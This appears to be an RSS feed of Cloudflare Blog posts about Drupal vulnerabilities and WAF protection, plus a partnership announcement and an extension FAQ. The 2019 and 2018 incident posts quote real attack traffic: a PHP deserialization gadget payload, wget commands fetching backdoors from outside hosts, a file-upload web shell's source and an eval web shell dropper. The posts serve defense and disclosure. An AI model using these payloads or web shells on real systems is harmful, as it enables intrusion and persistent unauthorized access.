
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Wed, 08 Apr 2026 18:58:17 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Stopping Drupal’s SA-CORE-2019-003 Vulnerability]]></title>
            <link>https://blog.cloudflare.com/stopping-drupal-sa-core-2019-003/</link>
            <pubDate>Tue, 05 Mar 2019 22:55:04 GMT</pubDate>
            <description><![CDATA[ Drupal discovered a severe vulnerability and said they would release a patch. When the patch was released we analysed and created rules to mitigate these. By analysing the patch we created WAF rules to protect Cloudflare customers running Drupal. ]]></description>
            <content:encoded><![CDATA[ <p>On the 20th February 2019, Drupal <a href="https://www.drupal.org/psa-2019-02-19">announced</a> that they had discovered a severe vulnerability and that they would be releasing a patch for it the next day. Drupal is a Content Management System used by many of our customers, which made it important that our WAF protect against the vulnerability as quickly as possible.</p><p>As soon as Drupal released their patch, we analysed it to establish what kind of payloads could be used against it and created rules to mitigate these. By analysing the patch we were able to put together WAF rules to protect cloudflare customers running Drupal.</p><p>We identified the type of vulnerability we were dealing within 15 minutes. From here, we were able to deploy rules to block the exploit well before any real attacks were seen.</p>
    <div>
      <h3>The exploit</h3>
      <a href="#the-exploit">
        
      </a>
    </div>
    <p>As Drupal's <a href="https://www.drupal.org/sa-core-2019-003">release announcement</a> explains, a site is affected if:</p><ul><li><p>It has the Drupal 8 RESTful API enabled                                      </p></li><li><p>Or it uses <a href="https://www.drupal.org/sa-contrib-2019-020">one</a> of the <a href="https://www.drupal.org/security/contrib">8 modules</a> found to be affected</p></li></ul><p>From looking at the <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936">patch</a> we very quickly realised the exploit would be based on deserialization. The option <code>['allowed_classes' =&gt; FALSE]</code> was added as part of the patch to the <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936#diff-9077dc961778b7c8d9c47882c4248e42L67">link</a> and <a href="https://github.com/drupal/drupal/commit/9b3e441c2c6d98da402fcc8cab1e921ab8286936#diff-d200adc66611cf78e65f2a3258144c49L194">map</a> field types. This indicates that while these items are supposed to receive some serialized PHP, there was no legitimate case for supplying a serialized PHP object.</p><p>This is important because the easiest way to exploit a deserialization vulnerability in PHP is to supply a serialized Object that is crafted to execute code when deserialized.</p><p>Making the situation worse was the fact that the deserialization was performed regardless of any authentication.</p><p>We also realised that this meant blindly blocking all serialized PHP would break their intended functionality, as clearly these fields are supposed to receive specific kinds of serialized PHP, for example arrays or strings. Although as the PHP documentation <a href="https://secure.php.net/manual/en/function.unserialize.php">notes</a>, it’s always a risky thing to deserialize untrusted data, even when restricting the set of data that’s excepted.</p><p>This blog <a href="https://www.ambionics.io/blog/drupal8-rce">post from Ambionics</a> does a good job at explaining what a concrete exploitation of the vulnerability looks like, when applied to the Drupal 8 RESTful API.</p>
    <div>
      <h3>What we caught</h3>
      <a href="#what-we-caught">
        
      </a>
    </div>
    <p>After the vulnerability was announced, we created several rules to experiment with different ways to build a signature to catch exploit attempts. Within an hour of the Drupal announcement we had deployed these in simulate mode, which logs potentially malicious requests without blocking them. After monitoring for false positives they were then improved them a few times as we tuned them.</p><p>This culminated in the deploy of rule D0020, which has blocked a number of attackers as shown in the graph below. The rule was already deployed in ‘drop’ mode by the time our first attack was observed at around 7pm UTC on Friday the 22nd of February 2019, and to date it has matched zero false positives. This is less than 48 hours from the announcement from Drupal.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1UGyxkHL7SuJOy3M65Kf1u/7b062c8713332ad618aea8e0e2169e47/D0020.png" />
            
            </figure><p>Figure 1: Hits on rule D0020, with the first attack seen on the 22th February 2019.</p><p>These first attacks leveraged the “guzzle/rce1” gadget from phpggc to invoke the linux command “id” via PHP’s “system” function, exactly as <a href="https://www.ambionics.io/blog/drupal8-rce">ambionics</a> did.</p>
            <pre><code>'O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"GuzzleHttp\Psr7\FnStreammethods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"GuzzleHttp\HandlerStackhandler";s:2:"id";s:30:"GuzzleHttp\HandlerStackstack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"GuzzleHttp\HandlerStackcached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}''</code></pre>
            <p>After this we saw several more attempts to use this gadget for executing various payloads, mostly to test whether targeted servers were vulnerable. Things like ‘phpinfo’, echoing strings and performing calculations.</p><p>The first malicious payload we saw used the same gadget, but this time to save a malicious payload from pastebin onto the user’s server.</p><p><code>wget -O 1x.php https://pastebin.com/raw/npLq4493</code></p><p>This script would have placed a backdoor on the target system by allowing them to upload files to the server via an HTML form. This would have given the attacker continued access to the system even if it was subsequently patched.</p>
            <pre><code>&lt;?  echo "'XXXXXXXXXXXX";
$cwd = getcwd();
Echo '&lt;center&gt;  &lt;form method="post" target="_self" enctype="multipart/form-data"&gt;  &lt;input type="file" size="20" name="uploads" /&gt; &lt;input type="submit" value="upload" /&gt;  &lt;/form&gt;  &lt;/center&gt;&lt;/td&gt;&lt;/tr&gt; &lt;/table&gt;&lt;br&gt;';
if (!empty ($_FILES['uploads'])) {     move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);
    Echo "&lt;script&gt;alert('upload Done');
		&lt;/script&gt;&lt;b&gt;Uploaded !!!&lt;/b&gt;&lt;br&gt;name : ".$_FILES['uploads']['name']."&lt;br&gt;size : ".$_FILES['uploads']['size']."&lt;br&gt;type : ".$_FILES['uploads']['type'];
}
?&gt;</code></pre>
            <p>Another malicious payload seen was much more minimal:</p><p><code>echo '&lt;?php @eval($_POST['pass']) ?&gt;' &gt; vuln1.php</code></p><p>This payload creates a small PHP file on the server, which contains the dangerous eval() function. If this hadn’t been blocked, it would have allowed the attacker to issue commands via a single HTTP request to the vuln1.php file that could execute arbitrary commands directly on the potentially vulnerable system.</p>
    <div>
      <h3>Rates of exploitation</h3>
      <a href="#rates-of-exploitation">
        
      </a>
    </div>
    <p>The pattern we saw here is fairly typical of a newly announced vulnerability. Once a vulnerability is published, it doesn’t take long to see real attackers making use of the vulnerability - initially in small numbers with “test” payloads to identify whether the attacks work, but shortly afterwards in much higher numbers, and with more dangerous and subtle payloads. This vulnerability was weaponized within two days of disclosure, but that is by no means the shortest time frame we’ve seen.</p><p>It’s very hard to patch systems quickly enough to ensure that attackers don’t get through, so products like Cloudflare’s WAF are a vital line of defense against these emerging vulnerabilities.</p> ]]></content:encoded>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">1bvpiflJ1cp5qLlzmhEyks</guid>
            <dc:creator>Richard Sommerville</dc:creator>
        </item>
        <item>
            <title><![CDATA[Keeping Drupal sites safe with Cloudflare's WAF]]></title>
            <link>https://blog.cloudflare.com/keeping-drupal-sites-safe-with-cloudflares-waf/</link>
            <pubDate>Fri, 20 Apr 2018 16:14:53 GMT</pubDate>
            <description><![CDATA[ Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. This post examines how we protected people against a new major vulnerability in the Drupal CMS, nicknamed Drupalgeddon 2.</p><p>Two weeks after adding <a href="/drupal-waf-rule-mitigate-critical-exploit/">protection with WAF rule ID D0003</a> which mitigates the critical remote code execution Drupal exploit (<a href="http://www.drupal.org/sa-core-2018-002">SA-CORE-2018-002/CVE-2018-7600</a>), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.</p>
    <div>
      <h3>What is Drupalgeddon 2</h3>
      <a href="#what-is-drupalgeddon-2">
        
      </a>
    </div>
    <p>The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.</p><p>Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.</p>
    <div>
      <h3>The WAF to the rescue</h3>
      <a href="#the-waf-to-the-rescue">
        
      </a>
    </div>
    <p>Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.</p><p>Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4mA1NiMBuHknowR8vUwgs7/b0e17bb1f764451c1018e9c696ce24f5/Drupal.png" />
            
            </figure><p>Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.</p><p>Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:</p>
            <pre><code>MAIL[#POST_RENDER]
MAIL[#MARKUP]
NAME[#POST_RENDER]</code></pre>
            <p>We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.</p>
            <pre><code>/q=user/password&amp;name[#post_render[]=system&amp;name[#type]=markup&amp;name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default
/files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/
files/temp/http://[REDACTED]/blog/wpcontent/uploads/2017/01/example.sites.php;echo"@!!%@"</code></pre>
            <p>The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/484432IHZHBwDWBLST0CMY/7a09acf3cb32423ab84dc71b925c266f/Drupal2.png" />
            
            </figure> ]]></content:encoded>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF Rules]]></category>
            <guid isPermaLink="false">vmdFR6adxsnnTOGbiYNMI</guid>
            <dc:creator>Maitane Zotes</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare is adding Drupal WAF Rule to Mitigate Critical Drupal Exploit]]></title>
            <link>https://blog.cloudflare.com/drupal-waf-rule-mitigate-critical-exploit/</link>
            <pubDate>Thu, 29 Mar 2018 04:10:38 GMT</pubDate>
            <description><![CDATA[ Drupal has recently announced an update to fix a critical remote code execution exploit (SA-CORE-2018-002/CVE-2018-7600). This patch is to disallow forms and form fields from starting with the “#” character. ]]></description>
            <content:encoded><![CDATA[ <p>Drupal has recently announced an update to fix a critical remote code execution exploit (<a href="https://www.drupal.org/sa-core-2018-002">SA-CORE-2018-002/CVE-2018-7600</a>). In response we have just pushed out a rule to block requests matching these exploit conditions for our <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">Web Application Firewall (WAF)</a>. You can find this rule in the Cloudflare ruleset in your dashboard under the Drupal category with the rule ID of D0003.</p><p>Drupal Advisory: <a href="https://www.drupal.org/sa-core-2018-002">https://www.drupal.org/sa-core-2018-002</a></p> ]]></content:encoded>
            <category><![CDATA[WAF Rules]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">6Ni9TZK3zxYzUVGgOSzJZG</guid>
            <dc:creator>Pasha Kravtsov</dc:creator>
        </item>
        <item>
            <title><![CDATA[Welcome Acquia!]]></title>
            <link>https://blog.cloudflare.com/welcome-acquia/</link>
            <pubDate>Thu, 21 May 2015 22:10:27 GMT</pubDate>
            <description><![CDATA[ We’ve had the good fortune to share many great experiences with the Acquia team over the last few years. From breaking bread with founder and CTO Dries Buytaert at SXSW, to staying up late with their incredible team onboarding a joint customer under a DDoS attack.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p>We’ve had the good fortune to share many great experiences with the Acquia team over the last few years. From breaking bread with founder and CTO Dries Buytaert at SXSW, to skiing the slopes of Park City with the company’s CEO Tom Erickson, to staying up late with their incredible team onboarding a joint customer under a DDoS attack. It’s always a pleasure to spend time with the Acquia team.</p><p>Today we are thrilled to <a href="http://techcrunch.com/2015/05/18/acquia-to-beef-up-ddos-security-in-partnership-with-cloudflare/">welcome Acquia as a CloudFlare Partner</a>. Together we developed Acquia Cloud Edge powered by CloudFlare making it easier for any of their customers to access CloudFlare’s web performance and security solutions. The Acquia Cloud Edge is a family of products that protects websites against security threats, ensures only clean traffic get served, and speeds up site performance no matter where visitors are located.</p><p>Acquia Cloud Edge powered by CloudFlare comes as Edge Protect and Edge CDN. Edge Protect defends against DDoS and other network-level attacks. CloudFlare sits on the network edge in front of Acquia web servers, allowing early identification of attack patterns and questionable visitors, and mitigating attacks before they reach a user’s site. Edge CDN accelerates the delivery of digital experiences through CloudFlare’s global network with the fastest, most full-featured <a href="https://www.cloudflare.com/learning/cdn/what-is-a-cdn/">CDN</a> on the market. It cuts page load times by up to 50 percent and reduces bandwidth. Customers see up to a 95 percent cache hit rate, reducing the number of requests that have to be served from the Acquia infrastructure.</p><p>CloudFlare has been a fan of Drupal from the very beginning, and with nearly 2 million sites built on the open content management framework, we are excited to partner with Acquia to provide the best web performance and security for the Drupalverse.</p><p><a href="http://www.cloudflare.com/acquia">Get started or learn more about CloudFlare and Acquia</a>.</p> ]]></content:encoded>
            <category><![CDATA[Partners]]></category>
            <category><![CDATA[SXSW]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Reliability]]></category>
            <guid isPermaLink="false">1Ya7O5pIN0Jgxk9QQl75Rs</guid>
            <dc:creator>Maria Karaivanova</dc:creator>
        </item>
        <item>
            <title><![CDATA[Drupal 7 SA-CORE-2014-005 SQL Injection Protection]]></title>
            <link>https://blog.cloudflare.com/drupal-7-sa-core-2014-005-sql-injection-protection/</link>
            <pubDate>Thu, 16 Oct 2014 09:05:12 GMT</pubDate>
            <description><![CDATA[ Yesterday the Drupal Security Team released a critical security patch for Drupal 7 that fixes a very serious SQL injection vulnerability. ]]></description>
            <content:encoded><![CDATA[ <p>Yesterday the Drupal Security Team released a <a href="https://www.drupal.org/SA-CORE-2014-005">critical security patch</a> for Drupal 7 that fixes a very serious <a href="https://www.sektioneins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html">SQL injection</a> vulnerability. At the same time we pushed an update to our Drupal WAF rules to mitigate this problem. Any customer using the WAF and with the Drupal ruleset enabled will have received automatic protection.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3efo085aTM09kdrW2DTfIZ/0925122451cc34030a0ea273a119a2fd/Screen-Shot-2014-10-16-at-10-57-27.png" />
            
            </figure><p>Rule D0002 provides protection against this vulnerability. If you do not have that ruleset enabled and are using Drupal clicking the ON button next to CloudFlare Drupal in the WAF Settings will enable protection immediately.</p><p>CloudFlare WAF protection can help mitigate vulnerabilities like this, but it is vital that Drupal 7 users <a href="https://www.drupal.org/drupal-7.32-release-notes">upgrade</a> to the safe version of Drupal immediately.</p>
    <div>
      <h3>Important Update on October 29, 2014</h3>
      <a href="#important-update-on-october-29-2014">
        
      </a>
    </div>
    <p>The Drupal Security team has posted a <a href="https://www.drupal.org/PSA-2014-003">PSA</a> on this vulnerability that states:</p><blockquote><p>You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.</p></blockquote><p>Given the severity of that statement, if you did not update your Drupal 7 installation please read the PSA and follow the instructions on cleaning up your site.</p><blockquote><p>If you have not updated or applied this patch, do so immediately, then continue reading this announcement; updating to version 7.32 or applying the patch fixes the vulnerability but does not fix an already compromised website. If you find that your site is already patched but you didn’t do it, that can be a symptom that the site was compromised - some attacks have applied the patch as a way to guarantee they are the only attacker in control of the site.</p></blockquote> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[SQL]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">4Nxb2eiarXcKirj33lgCVI</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Automatic protection for common web platforms]]></title>
            <link>https://blog.cloudflare.com/automatic-protection-for-common-web-platforms/</link>
            <pubDate>Tue, 14 Oct 2014 12:16:11 GMT</pubDate>
            <description><![CDATA[ If you are a CloudFlare Pro or above customer you enjoy the protection of the CloudFlare WAF. If you use one of the common web platforms, such as WordPress, Drupal, Plone, WHMCS, or Joomla, then it's worth checking if the relevant CloudFlare WAF ruleset is enabled. ]]></description>
            <content:encoded><![CDATA[ <p>If you are a CloudFlare Pro or above customer you enjoy the protection of the CloudFlare WAF. If you use one of the common web platforms, such as WordPress, Drupal, Plone, WHMCS, or Joomla, then it's worth checking if the relevant CloudFlare WAF ruleset is enabled.</p><p>That's because CloudFlare pushes updates to these rules automatically when new vulnerabilities are found. If you enable the relevant ruleset for your technology then you'll be protected the moment new rules are published.</p><p>For example, here's a screenshot of the WAF Settings for a customer who uses WordPress (but doesn't use Joomla). If CloudFlare pushes rules to the WordPress set then they'll be protected automatically.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/XbdmYi2KwAWfH5YGso6Wc/4f44b11c96b84a9f4cdfcd5b6873a322/Screen-Shot-2014-10-14-at-13-39-46.png" />
            
            </figure><p>Enabling a ruleset is simple. Just click the ON/OFF button and make sure it's set to ON.</p><p>Here's a customer with the Drupal ruleset disabled. Clicking the ON/OFF button would enable that ruleset and provide protection from existing vulnerabilities and automatic protection if new rules are deployed.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2W4Whn25WpufXxJfiThwIS/286dd849b12e6d66de8e3c1f7cc2da27/Screen-Shot-2014-10-14-at-13-42-48.png" />
            
            </figure><p>For common problems we've rolled out protection across the board. For example, we rolled out <a href="/staying-ahead-of-openssl-vulnerabilities/">Heartbleed protection</a> and <a href="/shellshock-protection-enabled-for-all-customers/">Shellshock</a> automatically, but for technology-specific updates it's best to enable the appropriate ruleset in the WAF Settings.</p> ]]></content:encoded>
            <category><![CDATA[WordPress]]></category>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[Joomla]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Reliability]]></category>
            <category><![CDATA[WAF]]></category>
            <guid isPermaLink="false">50MDvmzqVyOjCuqTmerQAK</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[The CloudFlare Drupal Extension]]></title>
            <link>https://blog.cloudflare.com/the-cloudflare-drupal-extension/</link>
            <pubDate>Thu, 07 Apr 2011 19:20:00 GMT</pubDate>
            <description><![CDATA[ A Drupal developer, Brian Stevenson, recently created a CloudFlare Drupal extension that will help Drupal site owners get the original visitor IP at the Drupal level. Some common FAQs about the CloudFlare Drupal Extension. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>A Drupal developer, <a href="http://www.brianstevenson.com/">Brian Stevenson</a>, recently created a <a href="http://drupal.org/project/cloudflare">CloudFlare Drupal extension</a> that will help Drupal site owners get the original visitor IP at the Drupal level. Some common FAQs about the CloudFlare Drupal Extension:</p>
    <div>
      <h4>What does the Drupal extension do?</h4>
      <a href="#what-does-the-drupal-extension-do">
        
      </a>
    </div>
    <p>The extension restores the original visitor IP at the Drupal level. Before the extension was available, your logs would reflect CloudFlare's proxy IP addresses.</p>
    <div>
      <h4>Where can I find the installation directions for the Drupal Extension?</h4>
      <a href="#where-can-i-find-the-installation-directions-for-the-drupal-extension">
        
      </a>
    </div>
    <p>You can find the installation on the <a href="http://drupal.org/project/cloudflare">Drupal.org website</a>.</p>
    <div>
      <h4>Do I need to install the extension if I have mod_cloudflare installed?</h4>
      <a href="#do-i-need-to-install-the-extension-if-i-have-mod_cloudflare-installed">
        
      </a>
    </div>
    <p>You do not need to install the extension if you have already installed <a href="https://www.cloudflare.com/resources-downloads">mod_cloudflare</a> on your server. It is recommended that you install both if you need original visitor IP at both the Drupal and server level.</p>
    <div>
      <h4>What version of Drupal is the extension compatible with?</h4>
      <a href="#what-version-of-drupal-is-the-extension-compatible-with">
        
      </a>
    </div>
    <p>The extension has known compatibility with Drupal 6. Drupal 7 is still under development.</p>
    <div>
      <h4>Does the Drupal extension have the same features as the CloudFlare WordPress plugin?</h4>
      <a href="#does-the-drupal-extension-have-the-same-features-as-the-cloudflare-wordpress-plugin">
        
      </a>
    </div>
    <p>The Drupal extension does not have the same spam reporting capabilities or database optimization features found in the <a href="https://www.cloudflare.com/resources-downloads">CloudFlare WordPress plugin</a>. However, the Drupal plug-in will continue to develop to include additional features.</p>
    <div>
      <h4>Are there other things I should know about using CloudFlare and Drupal?</h4>
      <a href="#are-there-other-things-i-should-know-about-using-cloudflare-and-drupal">
        
      </a>
    </div>
    <p>A CloudFlare customer wrote up a helpful guide to what they found to be <a href="http://drupal.org/node/1112236">best practices using Drupal with CloudFlare</a>.</p><p>A shout out to Brian for bringing this extension to the CloudFlare and Drupal community. If you are interested in contributing to the Drupal extension, we'd love to hear from you. <a>Send us a note</a>.</p>
    <div>
      <h5>Disclaimer:</h5>
      <a href="#disclaimer">
        
      </a>
    </div>
    <p><i>CloudFlare is not affiliated with or endorsed by</i><a href="http://drupal.org"><i>Drupal</i></a><i>.</i></p> ]]></content:encoded>
            <category><![CDATA[Drupal]]></category>
            <category><![CDATA[WordPress]]></category>
            <category><![CDATA[Community]]></category>
            <guid isPermaLink="false">4RZP9gEVetiQ946H5O7fDl</guid>
            <dc:creator>Damon Billian</dc:creator>
        </item>
    </channel>
</rss>